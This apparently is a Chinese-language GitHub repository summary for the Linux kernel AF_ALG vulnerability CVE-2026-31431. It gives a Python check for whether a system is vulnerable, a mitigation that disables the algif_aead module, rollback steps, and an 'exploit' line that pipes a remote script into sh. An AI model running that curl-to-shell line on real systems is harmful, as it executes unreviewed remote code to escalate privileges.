studiogangster/CVE-2026-31431
GitHub: studiogangster/CVE-2026-31431
针对 Linux 内核 AF_ALG 接口 CVE-2026-31431 漏洞的检测、利用与修复工具,用于验证沙箱逃逸提权风险。
Stars: 1 | Forks: 0
### 测试、补丁、修复:CVE-2026-31431
```
# 测试:检查 vuln
python3 -c 'import socket;exec("try:s=socket.socket(socket.AF_ALG,socket.SOCK_SEQPACKET,0);s.bind((\"aead\",\"authencesn(hmac(sha256),cbc(aes))\"));print(\"vulnerable\")\nexcept:print(\"not vulnerable\")")'
```
```
# 检查是否为 module
# 检查 module 是否已加载到 kernel 中
lsmod | grep -q '^algif_aead' && echo "loaded" || echo "not loaded"
```
```
# 修复:移除 mod
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
```
```
# 回滚:重新加载 mod
sudo rm -f /etc/modprobe.d/disable-algif.conf
sudo depmod -a
```
#### 漏洞利用
```
# exploit
curl https://raw.githubusercontent.com/studiogangster/CVE-2026-31431/refs/heads/main/test.sh | sh
```
标签:AF_ALG, algif_aead, Cutter, CVE-2026-31431, Linux漏洞, Maven, POC, Python, Shell脚本, Web报告查看器, 内核模块, 内核漏洞, 协议分析, 安全基线, 安全检测脚本, 安全资源, 教学环境, 数据展示, 无后门, 本地提权, 权限提升, 沙箱逃逸, 漏洞修复, 漏洞验证, 红队, 网络安全, 网络安全培训, 隐私保护